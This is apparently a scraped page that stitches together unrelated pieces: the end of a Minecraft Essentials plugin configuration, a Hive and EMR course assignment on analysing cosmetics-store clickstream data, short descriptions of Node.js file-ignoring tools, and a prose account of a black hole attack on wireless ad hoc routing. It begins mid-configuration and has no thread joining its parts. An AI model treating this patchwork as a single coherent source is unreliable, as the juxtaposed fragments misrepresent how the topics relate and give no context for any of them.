{MESSAGE}' Owner: '&7{DISPLAYNAME}&8:&c {MESSAGE}' OP: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Developer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Admin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' JuniorAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' StaffManager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' ForumAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadModerator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Moderator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Helper: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Villager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Knight: '&7{DISPLAYNAME}&8:&f {MESSAGE}' King: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Hero: '&7{DISPLAYNAME}&8:&f {MESSAGE}' God: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Legend: '&7{DISPLAYNAME}&8:&b {MESSAGE}' # If you are using group formats make sure to remove the '#' to allow the setting to be read. ############################################################ # +------------------------------------------------------+ # # | EssentialsProtect | # # +------------------------------------------------------+ # ############################################################ protect: # General physics/behavior modifications. prevent: lava-flow: false water-flow: false water-bucket-flow: false fire-spread: true lava-fire-spread: true flint-fire: false lightning-fire-spread: true portal-creation: false tnt-explosion: false tnt-playerdamage: false tnt-minecart-explosion: false tnt-minecart-playerdamage: false fireball-explosion: false fireball-fire: false fireball-playerdamage: false witherskull-explosion: false witherskull-playerdamage: false wither-spawnexplosion: false wither-blockreplace: false creeper-explosion: false creeper-playerdamage: false creeper-blockdamage: false enderdragon-blockdamage: true enderman-pickup: false villager-death: false # Monsters won't follow players. # permission essentials.protect.entitytarget.bypass disables this. entitytarget: false # Prevent the spawning of creatures. spawn: creeper: false skeleton: false spider: false giant: false zombie: false slime: false ghast: false pig_zombie: false enderman: false cave_spider: false silverfish: false blaze: false magma_cube: false ender_dragon: false pig: false sheep: false cow: false chicken: false squid: false wolf: false mushroom_cow: false snowman: false ocelot: false iron_golem: false villager: false wither: true bat: false witch: false horse: false # Maximum height the creeper should explode. -1 allows them to explode everywhere. # Set prevent.creeper-explosion to true, if you want to disable creeper explosions. creeper: max-height: -1 # Disable various default physics and behaviors. disable: # Should fall damage be disabled? fall: false # Users with the essentials.protect.pvp permission will still be able to attack each other if this is set to true. # They will be unable to attack users without that same permission node. pvp: false # Should drowning damage be disabled? # (Split into two behaviors; generally, you want both set to the same value.) drown: false suffocate: false # Should damage via lava be disabled? Items that fall into lava will still burn to a crisp. ;) lavadmg: false # Should arrow damage be disabled? projectiles: false # This will disable damage from touching cacti. contactdmg: false # Burn, baby, burn! Should fire damage be disabled? firedmg: false # Should the damage after hit by a lightning be disabled? lightning: false # Should Wither damage be disabled? wither: false # Disable weather options? weather: storm: false thunder: false lightning: false ############################################################ # +------------------------------------------------------+ # # | EssentialsAntiBuild | # # +------------------------------------------------------+ # ############################################################ # Disable various default physics and behaviors # For more information, visit http://wiki.ess3.net/wiki/AntiBuild # Should people with build: false in permissions be allowed to build? # Set true to disable building for those people. # Setting to false means EssentialsAntiBuild will never prevent you from building. build: true # Should people with build: false in permissions be allowed to use items? # Set true to disable using for those people. # Setting to false means EssentialsAntiBuild will never prevent you from using items. use: true # Should we tell people they are not allowed to build? warn-on-build-disallow: true # For which block types would you like to be alerted? # You can find a list of IDs in plugins/Essentials/items.csv after loading Essentials for the first time. # 10 = lava :: 11 = still lava :: 46 = TNT :: 327 = lava bucket alert: on-placement: 10,11,46,327 on-use: 327 on-break: blacklist: # Which blocks should people be prevented from placing? placement: 10,11,46,327 # Which items should people be prevented from using? usage: 327 # Which blocks should people be prevented from breaking? break: # Which blocks should not be pushed by pistons? piston: # Which blocks should not be dispensed by dispensers dispenser: ############################################################ # +------------------------------------------------------+ # # | Essentials Spawn / New Players | # # +------------------------------------------------------+ # ############################################################ newbies: # Should we announce to the server when someone logs in for the first time? # If so, use this format, replacing {DISPLAYNAME} with the player name. # If not, set to '' #announce-format: '' announce-format: '&cWelcome &e&l{DISPLAYNAME}&c to the &8R&7e&8t&7r&8o&4-&cFactions server!' # When we spawn for the first time, which spawnpoint do we use? # Set to "none" if you want to use the spawn point of the world. spawnpoint: newbies # Do we want to give users anything on first join? Set to '' to disable # This kit will be given regardless of cost, and permissions. #kit: '' kit: join # Set this to lowest, if you want Multiverse to handle the respawning. # Set this to high, if you want EssentialsSpawn to handle the respawning. # Set this to highest, if you want to force EssentialsSpawn to handle the respawning. respawn-listener-priority: high # When users die, should they respawn at their first home or bed, instead of the spawnpoint? respawn-at-home: false # End of File <-- No seriously, you're done with configuration.

No description available

Problem Statement Introduction So far, in this course, you have learned about the Hadoop Framework, RDBMS design, and Hive Querying. You have understood how to work with an EMR cluster and write optimised queries on Hive. This assignment aims at testing your skills in Hive, and Hadoop concepts learned throughout this course. Similar to Big Data Analysts, you will be required to extract the data, load them into Hive tables, and gather insights from the dataset. Problem Statement With online sales gaining popularity, tech companies are exploring ways to improve their sales by analysing customer behaviour and gaining insights about product trends. Furthermore, the websites make it easier for customers to find the products they require without much scavenging. Needless to say, the role of big data analysts is among the most sought-after job profiles of this decade. Therefore, as part of this assignment, we will be challenging you, as a big data analyst, to extract data and gather insights from a real-life data set of an e-commerce company. In the next video, you will learn the various stages in collecting and processing the e-commerce website data. Play Video2079378 One of the most popular use cases of Big Data is in eCommerce companies such as Amazon or Flipkart. So before we get into the details of the dataset, let us understand how eCommerce companies make use of these concepts to give customers product recommendations. This is done by tracking your clicks on their website and searching for patterns within them. This kind of data is called a clickstream data. Let us understand how it works in detail. The clickstream data contains all the logs as to how you navigated through the website. It also contains other details such as time spent on every page, etc. From this, they make use of data ingesting frameworks such as Apache Kafka or AWS Kinesis in order to store it in frameworks such as Hadoop. From there, machine learning engineers or business analysts use this data to derive valuable insights. In the next video, Kautuk will give you a brief idea on the data that is used in this case study and the kind of analysis you can perform with the same. Play Video2079378 For this assignment, you will be working with a public clickstream dataset of a cosmetics store. Using this dataset, your job is to extract valuable insights which generally data engineers come up within an e-retail company. So now, let us understand the dataset in detail in the next video. Play Video2079378 You will find the data in the link given below. https://e-commerce-events-ml.s3.amazonaws.com/2019-Oct.csv https://e-commerce-events-ml.s3.amazonaws.com/2019-Nov.csv You can find the description of the attributes in the dataset given below. In the next video, you will learn about the various implementation stages involved in this case study. Attribute Description Download Play Video2079378 The implementation phase can be divided into the following parts: Copying the data set into the HDFS: Launch an EMR cluster that utilizes the Hive services, and Move the data from the S3 bucket into the HDFS Creating the database and launching Hive queries on your EMR cluster: Create the structure of your database, Use optimized techniques to run your queries as efficiently as possible Show the improvement of the performance after using optimization on any single query. Run Hive queries to answer the questions given below. Cleaning up Drop your database, and Terminate your cluster You are required to provide answers to the questions given below. Find the total revenue generated due to purchases made in October. Write a query to yield the total sum of purchases per month in a single output. Write a query to find the change in revenue generated due to purchases from October to November. Find distinct categories of products. Categories with null category code can be ignored. Find the total number of products available under each category. Which brand had the maximum sales in October and November combined? Which brands increased their sales from October to November? Your company wants to reward the top 10 users of its website with a Golden Customer plan. Write a query to generate a list of top 10 users who spend the most. Note: To write your queries, please make necessary optimizations, such as selecting the appropriate table format and using partitioned/bucketed tables. You will be awarded marks for enhancing the performance of your queries. Each question should have one query only. Use a 2-node EMR cluster with both the master and core nodes as M4.large. Make sure you terminate the cluster when you are done working with it. Since EMR can only be terminated and cannot be stopped, always have a copy of your queries in a text editor so that you can copy-paste them every time you launch a new cluster. Do not leave PuTTY idle for so long. Do some activity like pressing the space bar at regular intervals. If the terminal becomes inactive, you don't have to start a new cluster. You can reconnect to the master node by opening the puTTY terminal again, giving the host address and loading .ppk key file. For your information, if you are using emr-6.x release, certain queries might take a longer time, we would suggest you use emr-5.29.0 release for this case study. There are different options for storing the data in an EMR cluster. You can briefly explore them in this link. In your previous module on hive querying, you copied the data to the local file system, i.e., to the master node's file system and performed the queries. Since the size of the dataset is large here in this case study, it is a good practice to load the data into the HDFS and not into the local file system. You can revisit the segment on 'Working with HDFS' from the earlier module on 'Introduction to Big data and Cloud'. You may have to use CSVSerde with the default properties value for loading the dataset into a Hive table. You can refer to this link for more details on using CSVSerde. Also, you may want to skip the column names from getting inserted into the Hive table. You can refer to this link on how to skip the headers.

Fast file tree walker for Node.js, built with ripgrep's ignore crate

dockerignore is a file filter library compatible with Docker and the node-ignore API

This node script searches an Atlassian JIRA instance for defects and creates a task for each in a VersionOne story. It ignores JIRAs that may have already been added from a previous run.

Black Hole Attack- To carry out a black hole attack, malicious node waits for neighboring nodes to send RREQ messages. When the malicious node receives an RREQ message, without checking its routing table, immediately sends a false RREP message giving a route to destination over itself, assigning a high sequence number to settle in the routing table of the victim node, before other nodes send a true one. Therefore requesting nodes assume that route discovery process is completed and ignore other RREP messages and begin to send packets over malicious node. Malicious node attacks all RREQ messages this way and takes over all routes. Therefore all packets are sent to a point when they are not forwarding anywhere. This is called a black hole akin to real meaning which swallows all objects and matter. To succeed a black hole attack, malicious node should be positioned at the center of the wireless network.

A better flow cli with ignoring files inside node_modules

Add some @ts-ignore to imported dependencies in your auto-generated TypeScript type declarations

🙈 Hide node_modules from macOS Spotlight search

textlint filter rule that ignore node's type if the type is reported.

Winget Upgrade is a Node.js command-line tool that automates the process of updating software on your computer using Windows Package Manager (Winget). It automatically checks for Winget on your system, performs the software upgrade using package ignore listing, and keeps an event log for easy tracking of the process.